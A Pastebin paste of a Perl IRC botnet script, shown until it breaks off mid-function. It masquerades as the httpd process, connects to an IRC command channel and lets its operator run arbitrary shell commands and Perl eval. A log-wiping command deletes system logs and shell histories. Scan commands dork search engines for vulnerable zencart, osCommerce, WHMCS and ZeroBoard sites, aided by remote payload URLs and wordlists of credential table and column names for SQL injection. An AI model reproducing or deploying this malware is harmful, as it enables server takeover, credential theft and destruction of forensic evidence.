API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Sep 3rd, 2015
944
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 185.80 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/perl
  2.  
  3. use HTTP::Request;
  4. use HTTP::Request::Common;
  5. use HTTP::Request::Common qw(POST);
  6. use LWP::Simple;
  7. use LWP 5.64;
  8. use LWP::UserAgent;
  9. use Socket;
  10. use IO::Socket;
  11. use IO::Socket::INET;
  12. use IO::Select;
  13. use MIME::Base64;
  14. use URI;
  15.  
  16. my $datetime = localtime;
  17.  
  18. my $fakeproc = "/usr/sbin/httpd";
  19. my $ircserver = "irc.blackunix.us";
  20. my $ircport = "6667";
  21. my $nickname = "[FH]";
  22. my $ident = "iDF";
  23. my $channel = "#komxzer";
  24. my $admin = "komxzer";
  25. my $fullname = "cPanel";
  26.  
  27. my $cplogo = "15[2ZEN15]";
  28. my $zerologo = "15[2ZBOARD15]";
  29. my $zenlogo = "15[2ZEN15]";
  30. my $loglogo = "15[2HAPUS4LOG15]";
  31. my $oscologo = "15[2osCommerce15]";
  32. my $sqllogo = "15[2SQL15]";
  33.  
  34. my $cpcmd = '!zen';
  35. my $zerocmd = '!zero';
  36. my $whmcmd = '!whm';
  37. my $oscocmd = '!osco';
  38. my $sqlcmd = '!sql';
  39.  
  40. my $injector = "http://kobicom.com/cgi-bin/cok.jpg";
  41. my $bot = "http://kobicom.com/cgi-bin/bot.jpg";
  42.  
  43. #my @uagents = ("Mozilla/5.0 (X11;U;Linux i686 (x86_64);en-US;rv:1.9.0.16) Gecko/2009122206 Firefox/3.0.16 Flock/2.5.6");
  44. #my $uagent = $uagents[rand(scalar(@uagents))];
  45.  
  46. my $uagent = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6';
  47.  
  48. my @tabele = ('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario',
  49. 'name','names','nombre','nombres','usuarios','member','members','admin_table','miembro','miembros','membername','admins','administrator',
  50. 'administrators','passwd','password','passwords','pass','Pass','tAdmin','tadmin','user_password','user_passwords','user_name','user_names',
  51. 'member_password','mods','mod','moderators','moderator','user_email','user_emails','user_mail','user_mails','mail','emails','email','address',
  52. 'e-mail','emailaddress','correo','correos','phpbb_users','log','logins','login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
  53. 'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador','tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
  54. 'sistema_usuario','sistema_password','contrasena','auth','key','senha','tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',
  55. 'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization','membros','utilizadores','staff','nuke_authors','accounts','account','accnts',
  56. 'associated','accnt','customers','customer','membres','administrateur','utilisateur','tuser','tusers','utilisateurs','password','amministratore','god','God','authors',
  57. 'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members','Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');
  58. my @kolumny = ('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
  59. 'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
  60. 'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author',
  61. 'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
  62. 'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
  63. 'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username');
  64.  
  65. $SIG{'INT'} = 'IGNORE';
  66. $SIG{'HUP'} = 'IGNORE';
  67. $SIG{'TERM'} = 'IGNORE';
  68. $SIG{'CHLD'} = 'IGNORE';
  69. $SIG{'PS'} = 'IGNORE';
  70. chdir("/");
  71. chop (my $priper =`wget `);
  72. $ircserver = "$ARGV[0]" if $ARGV[0];
  73. $0 = "$fakeproc"."\0" x 16;;
  74. my $pid = fork;
  75. exit if $pid;
  76. die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
  77. our %irc_servers;
  78. our %DCC;
  79. my $dcc_sel = new IO::Select->new();
  80. $sel_client = IO::Select->new();
  81. sub sendraw {
  82. if ($#_ == '1') {
  83. my $socket = $_[0];
  84. print $socket "$_[1]\n";
  85. } else {
  86. print $IRC_cur_socket "$_[0]\n";
  87. }
  88. }
  89. sub connector {
  90. my $mynick = $_[0];
  91. my $ircserver_con = $_[1];
  92. my $ircport_con = $_[2];
  93. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
  94. if (defined($IRC_socket)) {
  95. $IRC_cur_socket = $IRC_socket;
  96. $IRC_socket->autoflush(1);
  97. $sel_client->add($IRC_socket);
  98. $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
  99. $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
  100. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  101. $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
  102. nick("$mynick");
  103. my $versi = "rOziyExplore";
  104. sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$versi");
  105. sleep (1);}
  106. }
  107.  
  108. sub parse {
  109. my $servarg = shift;
  110. if ($servarg =~ /^PING \:(.*)/) {
  111. sendraw("PONG :$1");
  112. }
  113. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  114. if (lc($1) eq lc($mynick)) {
  115. $mynick = $4;
  116. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  117. }
  118. }
  119. elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  120. nick("$mynick".int rand(1));
  121. }
  122. elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  123. $mynick = $2;
  124. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  125. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  126. sendraw("MODE $mynick +Bx");
  127. sendraw("JOIN $channel");
  128. sleep(2);
  129. sendraw("PRIVMSG $admin : 3»9º3©9º7cPanel3©9º3«");
  130. }
  131. }
  132. my $line_temp;
  133. while( 1 ) {
  134. while (!(keys(%irc_servers))) { &connector("$nickname", "$ircserver", "$ircport"); }
  135. select(undef, undef, undef, 0.01);;
  136. delete($irc_servers{''}) if (defined($irc_servers{''}));
  137. my @ready = $sel_client->can_read(0);
  138. next unless(@ready);
  139. foreach $fh (@ready) {
  140. $IRC_cur_socket = $fh;
  141. $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
  142. $nread = sysread($fh, $ircmsg, 4096);
  143. if ($nread == 0) {
  144. $sel_client->remove($fh);
  145. $fh->close;
  146. delete($irc_servers{$fh});
  147. }
  148. @lines = split (/\n/, $ircmsg);
  149. $ircmsg =~ s/\r\n$//;
  150.  
  151. if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  152. my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
  153. my $engine ="google,gga,ggb,ggc,ggd,gge,ggf,gro,tawi,tawia,tawib,tawic,tawid,tawie,tawif,tawig,tawih,tawii,tawij,tawik,GoogleID,GooglePL,GoogleUK,GoogleBR,GoogleNET,GoogleORG,GoogleIT,GoogleCA,GoogleDE,GoogleES,GoogleUS,GoogleAU,GoogleRO,GoogleMY,GoogleALLDOM,Google2,GoogleGR,GooglePL,GoogleJP,GoogleDK,GoogleNO,GoogleFI,GoogleIT,GoogleCA,GoogleDE,GoogleES,GoogleHK,GoogleAU,GoogleRO,GoogleRU,GooGLeSI,GooGLePT,GooGLeMS,GooGLeAU,GooGLeJJ,GooGLeFR,YahOoCA,YahOoUK,YahOoDE,YahOoFR,YahOoES,YahOoIT,YahOoID,YahOoIN,YahOoAU,YahOoMX,YahOoTW,YahOoBR,YahOoAR,YahOoNL,YahOoDK,YahOoPH,YahOoCL,YahOoRU,YahOoCH,YahOoCO,YahOoFI,YahOoRO,YahOoVE,YahOoAT,YahOoPL,YahOoKR,YahOoNZ,YahOoGR,YahOoPE,YahOo7,rediff,BingDE,BingUK,BingCA,BingBR,BingFR,BingES,BingIT,BingBE,BingNL,BingPT,BingNO,BingDK,BingSE,BingCH,BingNZ,BingRU,BingJP,BingCN,BingKR,BingMX,BingAR,BingCL,BingAU,bing,altavista,ask,uol,clusty,gutser,google2,exalead,virgilio,webde,aol,sapo,duck,yause,baidu,kipot,gibla,yahoo,hotbot,lycos,lygo,black,onet,sizuka,walla,demos,rose,seznam,tiscali,naver,live,rakuten,biglobe,nova,najdi,AsK1,AsKCA,AsKDE,AsKIT,AsKFR,AsKES,AsKRU,AsKNL,AsKUK,AsKBR,AsKPL,AsKAU,AsKAT,AsKJP,AsKSE,AsKMX,AsKNO,AsKDK,goo,uksubmit,excite,amidalla,buscar,sogou,interia,snz,yandex,joeant,terra,youdao,amfibi,bigclique,dancefloor,latina,goojp,yahoohk,setooz,aubing,yahoo7,gooes,neti,doogate,webwombat,euroseek,alltheweb,mamma,yahoo2,kvasir,netsprint,saol,lookle,optuszoo,search66,arrama,excitejp,clix,searchch,cada,bypass";
  154. if ($path eq $mynick) {
  155. if ($msg =~ /^PING (.*)/) {
  156. sendraw("NOTICE $nick :PING $1");
  157. }
  158. if ($msg =~ /^VERSION/) {
  159. sendraw("NOTICE $nick :VERSION mIRC rOziyExplore");
  160. }
  161. if ($msg =~ /^TIME/) {
  162. sendraw("NOTICE $nick :TIME ".$datetime."");
  163. }
  164. if (&isAdmin($nick) && $msg eq "!die") {
  165. &shell("$path","kill -9 $$");
  166. }
  167. if (&isAdmin($nick) && $msg eq "!kill") {
  168. &shell("$path","killall -9 perl");
  169. }
  170. if (&isAdmin($nick) && $msg eq "!reset") {
  171. sendraw("QUIT :Pindah server...");
  172. }
  173. if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  174. sendraw("JOIN #".$1);
  175. }
  176. if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  177. sendraw("PART #".$1);
  178. }
  179. if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
  180. sendraw("NICK ".$1);
  181. }
  182. if (&isAdmin($nick) && $msg =~ /^!pid/) {
  183. sendraw($IRC_cur_socket, "PRIVMSG $nick :14Fake Process/PID : $fakeproc - $$");
  184. }
  185. if (&isAdmin($nick) && $msg !~ /^!/) {
  186. &shell("$nick","$msg");
  187. }
  188. }
  189. else {
  190. if (&isAdmin($nick) && $msg eq "!die") {
  191. &shell("$path","kill -9 $$");
  192. }
  193. if (&isAdmin($nick) && $msg eq "!kill") {
  194. &shell("$path","killall -9 perl");
  195. }
  196. if (&isAdmin($nick) && $msg eq "!reset") {
  197. sendraw("QUIT :Pindah server...");
  198. }
  199. if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  200. sendraw("JOIN #".$1);
  201. }
  202. if (&isAdmin($nick) && $msg eq "!part") {
  203. sendraw("PART $path");
  204. }
  205. if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  206. sendraw("PART #".$1);
  207. }
  208. if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
  209. &shell("$path","$1");
  210. }
  211. if (&isAdmin($nick) && $msg =~ /^!eval (.*)/) {
  212. eval "$1";
  213. }
  214. ##################################################################### HELP COMMAND
  215.  
  216. if ($msg=~ /^!help/) {
  217. my $helplogo = "0(14Help0)";
  218. &msg("$path","$helplogo 3 ########################14[HELP]3############################");
  219. &msg("$path","$helplogo 4 ( 2$cpcmd 4[7dork4]4 )");
  220. &msg("$path","$helplogo 4 ( 2$zerocmd 4[7bug4] 4[7dork4]4 )");
  221. &msg("$path","$helplogo 4 ( 2$whmcmd 4[7dork4]4 )");
  222. &msg("$path","$helplogo 4 ( 2!sql 4[7Bug4]44[7dork4]4 )");
  223. &msg("$path","$helplogo 4 ( !log #untuk hapus 4log )");
  224. &msg("$path","$helplogo 3 ######################14[END HELP]3#########################");
  225. }
  226.  
  227. if ($msg=~ /^!zenid/) {
  228. if (&isFound($zenid,"INSERT%20INTO")) {
  229. &msg("$path","15,1(8±5zencart15)3 zencart is [ open ]");
  230. } else {
  231. &msg("$path","15,1(8±5zencart15)15,5 zencart is [ locked ]");
  232. }
  233. }
  234.  
  235. if (&isAdmin($nick) && $msg =~ /^!pid/) {
  236. &notice("$nick","14Fake Process/PID : 14$fakeproc - $$");
  237. }
  238.  
  239. if ($msg =~ /^!log/) {
  240. &msg("$path","$loglogo 3 Permintaan sedang di proses...");
  241. &msg("$path","$loglogo 4 Mohon di tunggu...!");
  242. system 'rm -rf /var/log/lastlog';
  243. system 'rm -rf /var/log/wtmp';
  244. system 'rm -rf /etc/wtmp';
  245. system 'rm -rf /var/run/utmp';
  246. system 'rm -rf /etc/utmp';
  247. system 'rm -rf /var/log';
  248. system 'rm -rf /var/logs';
  249. system 'rm -rf /var/adm';
  250. system 'rm -rf /var/apache/log';
  251. system 'rm -rf /var/apache/logs';
  252. system 'rm -rf /usr/local/apache/log';
  253. system 'rm -rf /usr/local/apache/logs';
  254. system 'rm -rf /root/.bash_history';
  255. system 'rm -rf /root/.ksh_history';
  256. &msg("$path","$loglogo 13 Semua 4default log13 dan berkas 4bash_history 13terhapus.");
  257. sleep 1;
  258. &msg("$path","$loglogo 13 Sekarang sisa berkas mesin4 LOG.");
  259. system 'find / -name *.bash_history -exec rm -rf {} \;';
  260. system 'find / -name *.bash_logout -exec rm -rf {} \;';
  261. system 'find / -name "log*" -exec rm -rf {} \;';
  262. system 'find / -name *.log -exec rm -rf {} \;';
  263. sleep 1;
  264. &msg("$path","$loglogo 4 Selsai! Semua log dalam server sudah di hapus...!!!");
  265. }
  266. ##################################################################### ZEN SCAN
  267. if ($msg=~ /^$cpcmd\s+(.*)/) {
  268. if (my $pid = fork) {
  269. waitpid($pid, 0);
  270. }
  271. else {
  272. if (fork) { exit; } else {
  273. my ($bug,$dork) = ("admin/sqlpatch.php/password_forgotten.php?action=execute",$1);
  274. &msg("$path","$cplogo 14Dork :2 $dork");
  275. &msg("$path","$cplogo 10Search Engine Loading ...!!");
  276. &scan_start($path,$bug,$dork,$engine,1);
  277. }
  278. exit;
  279. }
  280. }
  281.  
  282. if ($msg=~ /^$cpcmd\s+(.*)/) {
  283. if (my $pid = fork) {
  284. waitpid($pid, 0);
  285. }
  286. else {
  287. if (fork) { exit; } else {
  288. my ($bug,$dork) = ("admin/record_company.php",$1);
  289. &scan_start($path,$bug,$dork,$engine,1);
  290. }
  291. exit;
  292. }
  293. }
  294. ##################################################################### ZeroBoard SCAN
  295. if ($msg=~ /^$zerocmd\s+(.+?)\s+(.*)/) {
  296. if (my $pid = fork) {
  297. waitpid($pid, 0);
  298. }
  299. else {
  300. if (fork) { exit; } else {
  301. my ($bug,$dork) = ($1,$2);
  302. &msg("$path","$zerologo 14Dork :2 $dork");
  303. &msg("$path","$zerologo 14Bugz :2 $bug");
  304. &msg("$path","$zerologo 10Search Engine Loading ...!!");
  305. &scan_start($path,$bug,$dork,$engine,2);
  306. }
  307. exit;
  308. }
  309. }
  310. ##################################################################### OSCO SCAN
  311.  
  312. if ($msg=~ /^$oscocmd\s+(.*)/) {
  313. if (my $pid = fork) {
  314. waitpid($pid, 0);
  315. }
  316. else {
  317. if (fork) { exit; } else {
  318. my ($bug,$dork) = ("admin/categories.php/login.php",$1);
  319. &msg("$path","$oscologo 14Dork :2 $dork");
  320. &msg("$path","$oscologo 10Search Engine Loading ...");
  321. &scan_start($path,$bug,$dork,$engine,6);
  322. }
  323. exit;
  324. }
  325. }
  326. ##################################################################### OSCO2 SCAN
  327.  
  328. if ($msg=~ /^$oscocmd\s+(.*)/) {
  329. if (my $pid = fork) {
  330. waitpid($pid, 0);
  331. }
  332. else {
  333. if (fork) { exit; } else {
  334. my ($bug,$dork) = ("admin/file_manager.php/login.php",$1);
  335. &scan_start($path,$bug,$dork,$engine,12);
  336. }
  337. exit;
  338. }
  339. }
  340.  
  341. ##################################################################### OSCO3 SCAN
  342.  
  343. if ($msg=~ /^$oscocmd\s+(.*)/) {
  344. if (my $pid = fork) {
  345. waitpid($pid, 0);
  346. }
  347. else {
  348. if (fork) { exit; } else {
  349. my ($bug,$dork) = ("admin/banner_manager.php/login.php",$1);
  350. &msg("$path","$oscologo 14Dork :2 $dork");
  351. &msg("$path","$oscologo 10Search Engine Loading ...");
  352. &scan_start($path,$bug,$dork,$engine,11);
  353. }
  354. exit;
  355. }
  356. }
  357. ##################################################################### ZEN_V SCAN
  358.  
  359. if ($msg=~ /^$cpcmd\s+(.*)/) {
  360. if (my $pid = fork) {
  361. waitpid($pid, 0);
  362. }
  363. else {
  364. if (fork) { exit; } else {
  365. my ($bug,$dork) = ("admin/sqlpatch.php/password_forgotten.php?action=execute",$1);
  366. &msg("$path","$zenlogo 14Dork :2 $dork");
  367. &msg("$path","$zenlogo 10Search Engine Loading ...");
  368. &scan_start($path,$bug,$dork,$engine,3);
  369. }
  370. exit;
  371. }
  372. }
  373.  
  374. if ($msg=~ /^$cpcmd\s+(.*)/) {
  375. if (my $pid = fork) {
  376. waitpid($pid, 0);
  377. }
  378. else {
  379. if (fork) { exit; } else {
  380. my ($bug,$dork) = ("admin/record_company.php",$1);
  381. &scan_start($path,$bug,$dork,$engine,3);
  382. }
  383. exit;
  384. }
  385. }
  386. ##################################################################### whm SCAN
  387.  
  388. if ($msg=~ /^$whmcmd\s+(.*)/) {
  389. if (my $pid = fork) {
  390. waitpid($pid, 0);
  391. }
  392. else {
  393. if (fork) { exit; } else {
  394. my ($bug,$dork) = ("cart.php",$1);
  395. &msg("$path","whmlogo 3D14ork :4 $dork");
  396. &msg("$path","whmlogo 3B14ugz :4 $bug");
  397. &msg("$path","whmlogo 14Search Engine Loading ...");
  398. &scan_start($path,$bug,$dork,$engine,4);
  399. }
  400. exit;
  401. }
  402. }
  403. ##################################################################### SQL SCAN
  404.  
  405. if ($msg=~ /^$sqlcmd\s+(.+?)\s+(.*)/) {
  406. if (my $pid = fork) {
  407. waitpid($pid, 0);
  408. }
  409. else {
  410. if (fork) { exit; } else {
  411. my ($bug,$dork) = ($1,$2);
  412. &msg("$path","$sqllogo 12Dork :4 $dork");
  413. &msg("$path","$sqllogo 12Bugz :4 $bug");
  414. &msg("$path","$sqllogo 8Search Engine Loading ...");
  415. &scan_start($path,$bug,$dork,$engine,9);
  416. }
  417. exit;
  418. }
  419. }
  420.  
  421. #####################################################################
  422.  
  423.  
  424. }
  425. }
  426.  
  427. for(my $c=0; $c<= $#lines; $c++) {
  428. $line = $lines[$c];
  429. $line = $line_temp.$line if ($line_temp);
  430. $line_temp = '';
  431. $line =~ s/\r$//;
  432. unless ($c == $#lines) {
  433. &parse("$line");
  434. } else {
  435. if ($#lines == 0) {
  436. &parse("$line");
  437. } elsif ($lines[$c] =~ /\r$/) {
  438. &parse("$line");
  439. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  440. &parse("$line");
  441. } else {
  442. $line_temp = $line;
  443. }
  444. }
  445. }
  446. }
  447. }
  448.  
  449. #########################################
  450. sub type () {
  451. my ($chan,$bug,$dork,$engine,$type) = @_;
  452. if ($type == 1){&cp($chan,$bug,$dork,$engine);}
  453. elsif ($type == 2){&zero($chan,$bug,$dork,$engine);}
  454. elsif ($type == 3){&zen_V($chan,$bug,$dork,$engine);}
  455. elsif ($type == 4){&whm($chan,$bug,$dork,$engine);}
  456. elsif ($type == 6){&osco($chan,$bug,$dork,$engine);}
  457. elsif ($type == 9){&sql($chan,$bug,$dork,$engine);}
  458. elsif ($type == 11){&osco3($chan,$bug,$dork,$engine);}
  459. elsif ($type == 12){&osco2($chan,$bug,$dork,$engine);}
  460.  
  461. }
  462.  
  463. ########################
  464. sub scan_start() {
  465. my ($chan,$bug,$dork,$engine,$type) = @_;
  466. if ($engine =~ /google/i) {
  467. if (my $pid = fork) { waitpid($pid, 0); }
  468. else { if (fork) { exit; } else {
  469. &type($chan,$bug,$dork,"google",$type);
  470. } exit; }
  471. }
  472.  
  473. if ($engine =~ /google2/i) {
  474. if ($pid = fork) { waitpid($pid, 0); }
  475. else { if (fork) { exit; } else {
  476. &type($chan,$bug,$dork,"google2",$type);
  477. } exit; }
  478. }
  479. if ($engine =~ /gga/i) {
  480. if ($pid = fork) { waitpid($pid, 0); }
  481. else { if (fork) { exit; } else {
  482. &type($chan,$bug,$dork,"gga",$type);
  483. } exit; }
  484. }
  485. if ($engine =~ /ggb/i) {
  486. if ($pid = fork) { waitpid($pid, 0); }
  487. else { if (fork) { exit; } else {
  488. &type($chan,$bug,$dork,"ggb",$type);
  489. } exit; }
  490. }
  491. if ($engine =~ /ggc/i) {
  492. if ($pid = fork) { waitpid($pid, 0); }
  493. else { if (fork) { exit; } else {
  494. &type($chan,$bug,$dork,"ggc",$type);
  495. } exit; }
  496. }
  497. if ($engine =~ /ggd/i) {
  498. if ($pid = fork) { waitpid($pid, 0); }
  499. else { if (fork) { exit; } else {
  500. &type($chan,$bug,$dork,"ggd",$type);
  501. } exit; }
  502. }
  503. if ($engine =~ /gge/i) {
  504. if ($pid = fork) { waitpid($pid, 0); }
  505. else { if (fork) { exit; } else {
  506. &type($chan,$bug,$dork,"gge",$type);
  507. } exit; }
  508. }
  509. if ($engine =~ /ggf/i) {
  510. if ($pid = fork) { waitpid($pid, 0); }
  511. else { if (fork) { exit; } else {
  512. &type($chan,$bug,$dork,"ggf",$type);
  513. } exit; }
  514. }
  515. if ($engine =~ /gg/i) {
  516. if ($pid = fork) { waitpid($pid, 0); }
  517. else { if (fork) { exit; } else {
  518. &type($chan,$bug,$dork,"gg",$type);
  519. } exit; }
  520. }
  521. if ($engine =~ /gg2/i) {
  522. if ($pid = fork) { waitpid($pid, 0); }
  523. else { if (fork) { exit; } else {
  524. &type($chan,$bug,$dork,"gg2",$type);
  525. } exit; }
  526. }
  527. if ($engine =~ /galldom/i) {
  528. if ($pid = fork) { waitpid($pid, 0); }
  529. else { if (fork) { exit; } else {
  530. &type($chan,$bug,$dork,"ggALLDOM",$type);
  531. } exit; }
  532. }
  533. if ($engine =~ /gid/i) {
  534. if ($pid = fork) { waitpid($pid, 0); }
  535. else { if (fork) { exit; } else {
  536. &type($chan,$bug,$dork,"ggID",$type);
  537. } exit; }
  538. }
  539. if ($engine =~ /gpl/i) {
  540. if ($pid = fork) { waitpid($pid, 0); }
  541. else { if (fork) { exit; } else {
  542. &type($chan,$bug,$dork,"ggPL",$type);
  543. } exit; }
  544. }
  545. if ($engine =~ /guk/i) {
  546. if ($pid = fork) { waitpid($pid, 0); }
  547. else { if (fork) { exit; } else {
  548. &type($chan,$bug,$dork,"ggUK",$type);
  549. } exit; }
  550. }
  551. if ($engine =~ /gbr/i) {
  552. if ($pid = fork) { waitpid($pid, 0); }
  553. else { if (fork) { exit; } else {
  554. &type($chan,$bug,$dork,"ggBR",$type);
  555. } exit; }
  556. }
  557. if ($engine =~ /gnet/i) {
  558. if ($pid = fork) { waitpid($pid, 0); }
  559. else { if (fork) { exit; } else {
  560. &type($chan,$bug,$dork,"ggNET",$type);
  561. } exit; }
  562. }
  563. if ($engine =~ /gorg/i) {
  564. if ($pid = fork) { waitpid($pid, 0); }
  565. else { if (fork) { exit; } else {
  566. &type($chan,$bug,$dork,"ggORG",$type);
  567. } exit; }
  568. }
  569. if ($engine =~ /git/i) {
  570. if ($pid = fork) { waitpid($pid, 0); }
  571. else { if (fork) { exit; } else {
  572. &type($chan,$bug,$dork,"ggIT",$type);
  573. } exit; }
  574. }
  575. if ($engine =~ /gca/i) {
  576. if ($pid = fork) { waitpid($pid, 0); }
  577. else { if (fork) { exit; } else {
  578. &type($chan,$bug,$dork,"ggCA",$type);
  579. } exit; }
  580. }
  581. if ($engine =~ /gde/i) {
  582. if ($pid = fork) { waitpid($pid, 0); }
  583. else { if (fork) { exit; } else {
  584. &type($chan,$bug,$dork,"ggDE",$type);
  585. } exit; }
  586. }
  587. if ($engine =~ /gus/i) {
  588. if ($pid = fork) { waitpid($pid, 0); }
  589. else { if (fork) { exit; } else {
  590. &type($chan,$bug,$dork,"ggUS",$type);
  591. } exit; }
  592. }
  593. if ($engine =~ /gau/i) {
  594. if ($pid = fork) { waitpid($pid, 0); }
  595. else { if (fork) { exit; } else {
  596. &type($chan,$bug,$dork,"ggAU",$type);
  597. } exit; }
  598. }
  599. if ($engine =~ /gro/i) {
  600. if ($pid = fork) { waitpid($pid, 0); }
  601. else { if (fork) { exit; } else {
  602. &type($chan,$bug,$dork,"gro",$type);
  603. } exit; }
  604. }
  605.  
  606. if ($engine =~ /tawi/i) {
  607. if ($pid = fork) { waitpid($pid, 0); }
  608. else { if (fork) { exit; } else {
  609. &type($chan,$bug,$dork,"tawi",$type);
  610. } exit; }
  611. }
  612. if ($engine =~ /tawia/i) {
  613. if ($pid = fork) { waitpid($pid, 0); }
  614. else { if (fork) { exit; } else {
  615. &type($chan,$bug,$dork,"tawia",$type);
  616. } exit; }
  617. }
  618. if ($engine =~ /tawib/i) {
  619. if ($pid = fork) { waitpid($pid, 0); }
  620. else { if (fork) { exit; } else {
  621. &type($chan,$bug,$dork,"tawib",$type);
  622. } exit; }
  623. }
  624. if ($engine =~ /tawic/i) {
  625. if ($pid = fork) { waitpid($pid, 0); }
  626. else { if (fork) { exit; } else {
  627. &type($chan,$bug,$dork,"tawic",$type);
  628. } exit; }
  629. }
  630. if ($engine =~ /tawid/i) {
  631. if ($pid = fork) { waitpid($pid, 0); }
  632. else { if (fork) { exit; } else {
  633. &type($chan,$bug,$dork,"tawid",$type);
  634. } exit; }
  635. }
  636. if ($engine =~ /tawie/i) {
  637. if ($pid = fork) { waitpid($pid, 0); }
  638. else { if (fork) { exit; } else {
  639. &type($chan,$bug,$dork,"tawie",$type);
  640. } exit; }
  641. }
  642. if ($engine =~ /tawif/i) {
  643. if ($pid = fork) { waitpid($pid, 0); }
  644. else { if (fork) { exit; } else {
  645. &type($chan,$bug,$dork,"tawif",$type);
  646. } exit; }
  647. }
  648. if ($engine =~ /tawig/i) {
  649. if ($pid = fork) { waitpid($pid, 0); }
  650. else { if (fork) { exit; } else {
  651. &type($chan,$bug,$dork,"tawig",$type);
  652. } exit; }
  653. }
  654. if ($engine =~ /tawih/i) {
  655. if ($pid = fork) { waitpid($pid, 0); }
  656. else { if (fork) { exit; } else {
  657. &type($chan,$bug,$dork,"tawih",$type);
  658. } exit; }
  659. }
  660. if ($engine =~ /tawii/i) {
  661. if ($pid = fork) { waitpid($pid, 0); }
  662. else { if (fork) { exit; } else {
  663. &type($chan,$bug,$dork,"tawii",$type);
  664. } exit; }
  665. }
  666. if ($engine =~ /tawij/i) {
  667. if ($pid = fork) { waitpid($pid, 0); }
  668. else { if (fork) { exit; } else {
  669. &type($chan,$bug,$dork,"tawij",$type);
  670. } exit; }
  671. }
  672. if ($engine =~ /tawik/i) {
  673. if ($pid = fork) { waitpid($pid, 0); }
  674. else { if (fork) { exit; } else {
  675. &type($chan,$bug,$dork,"tawik",$type);
  676. } exit; }
  677. }
  678.  
  679. if ($engine =~ /bing/i) {
  680. if ($pid = fork) { waitpid($pid, 0); }
  681. else { if (fork) { exit; } else {
  682. &type($chan,$bug,$dork,"bing",$type);
  683. } exit; }
  684. }
  685.  
  686. if ($engine =~ /altavista/i) {
  687. if ($pid = fork) { waitpid($pid, 0); }
  688. else { if (fork) { exit; } else {
  689. &type($chan,$bug,$dork,"altavista",$type);
  690. } exit; }
  691. }
  692.  
  693. if ($engine =~ /ask/i) {
  694. if ($pid = fork) { waitpid($pid, 0); }
  695. else { if (fork) { exit; } else {
  696. &type($chan,$bug,$dork,"ask",$type);
  697. } exit; }
  698. }
  699. if ($engine =~ /ask1/i) {
  700. if ($pid = fork) { waitpid($pid, 0); }
  701. else { if (fork) { exit; } else {
  702. &type($chan,$bug,$dork,"AsK1",$type);
  703. } exit; }
  704. }
  705. if ($engine =~ /AsKCA/i) {
  706. if ($pid = fork) { waitpid($pid, 0); }
  707. else { if (fork) { exit; } else {
  708. &type($chan,$bug,$dork,"AsKCA",$type);
  709. } exit; }
  710. }
  711. if ($engine =~ /askde/i) {
  712. if ($pid = fork) { waitpid($pid, 0); }
  713. else { if (fork) { exit; } else {
  714. &type($chan,$bug,$dork,"AsKDE",$type);
  715. } exit; }
  716. }
  717. if ($engine =~ /askit/i) {
  718. if ($pid = fork) { waitpid($pid, 0); }
  719. else { if (fork) { exit; } else {
  720. &type($chan,$bug,$dork,"AsKIT",$type);
  721. } exit; }
  722. }
  723. if ($engine =~ /askfr/i) {
  724. if ($pid = fork) { waitpid($pid, 0); }
  725. else { if (fork) { exit; } else {
  726. &type($chan,$bug,$dork,"AsKFR",$type);
  727. } exit; }
  728. }
  729. if ($engine =~ /askes/i) {
  730. if ($pid = fork) { waitpid($pid, 0); }
  731. else { if (fork) { exit; } else {
  732. &type($chan,$bug,$dork,"AsKES",$type);
  733. } exit; }
  734. }
  735. if ($engine =~ /askru/i) {
  736. if ($pid = fork) { waitpid($pid, 0); }
  737. else { if (fork) { exit; } else {
  738. &type($chan,$bug,$dork,"AsKRU",$type);
  739. } exit; }
  740. }
  741. if ($engine =~ /asknl/i) {
  742. if ($pid = fork) { waitpid($pid, 0); }
